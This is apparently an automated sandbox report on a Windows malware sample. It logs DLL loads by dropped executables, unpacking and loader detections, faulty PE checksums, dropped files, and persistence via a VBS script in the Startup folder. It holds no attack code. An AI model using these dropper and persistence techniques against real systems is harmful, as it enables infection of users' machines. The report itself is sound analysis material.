Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Result.exe	Section loaded: userenv.dll

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 3E6C.exe, 0000000C.00000002.4121138096.0000000006EC0000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.0000000003F89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 3E6C.exe, 0000000C.00000002.4121138096.0000000006EC0000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.0000000003F89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Unpacked PE file: 0.2.hoEtvOOrYH.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jagvise	Unpacked PE file: 5.2.jagvise.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

.NET source code contains potential unpacker

Source: 12.2.3E6C.exe.6d50000.6.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 12.2.3E6C.exe.6d50000.6.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 12.2.3E6C.exe.6d50000.6.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 12.2.3E6C.exe.6d50000.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 12.2.3E6C.exe.6d50000.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 12.2.3E6C.exe.42b10c0.1.raw.unpack, ExtendedEmitter.cs	.Net Code: EmitConvertibleEmitter System.Reflection.Assembly.Load(byte[])
Source: 12.2.3E6C.exe.42b10c0.1.raw.unpack, EnumeratorSelector.cs	.Net Code: RunGeneralStack
Source: 12.2.3E6C.exe.42b10c0.1.raw.unpack, AdjustableAggregator.cs	.Net Code: CallExtractor

Yara detected Costura Assembly Loader

Source: Yara match	File source: 12.2.3E6C.exe.6c60000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4116101719.0000000006C60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3E6C.exe PID: 5796, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\A723.exe

Code function: 7_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

7_2_00406328

Source: 77D2.exe.1.dr	Static PE information: real checksum: 0x80f85f should be: 0x81b7cb
Source: 3E6C.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x159bc8
Source: Result.exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x159bc8
Source: C3F.exe.1.dr	Static PE information: real checksum: 0x127cc4 should be: 0x127d64
Source: A723.exe.1.dr	Static PE information: real checksum: 0x6fef53 should be: 0x6f5ed0

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00403403 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0040343D push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004034CC push esi; iretd	0_2_004034CD
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00403354 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0040333B push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033C6 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033DA push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033E3 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033EC push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033ED push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033F8 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033FB push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033FE push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00403384 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033A7 push ecx; ret	0_2_004033A8
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033A9 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004033B6 push eax; ret	0_2_00403413
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B128A push esi; retf	0_2_008B12A6
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B0485 push eax; ret	0_2_008B0452
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B0397 push eax; ret	0_2_008B0452
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B03AF push eax; ret	0_2_008B0452
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B03D6 push eax; ret	0_2_008B0452
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B0400 push eax; ret	0_2_008B0452
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B0515 push esi; iretd	0_2_008B0516
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008B0433 push eax; ret	0_2_008B0452
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00403403 push eax; ret	5_2_00403413
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0040343D push eax; ret	5_2_00403413
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_004034CC push esi; iretd	5_2_004034CD
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00403354 push eax; ret	5_2_00403413
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0040333B push eax; ret	5_2_00403413
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_004033C6 push eax; ret	5_2_00403413

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\77D2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C3F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A723.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Bookings	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3E6C.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	File created: C:\Users\user\AppData\Roaming\Result.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jagvise	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jagvise			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Bookings			Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs

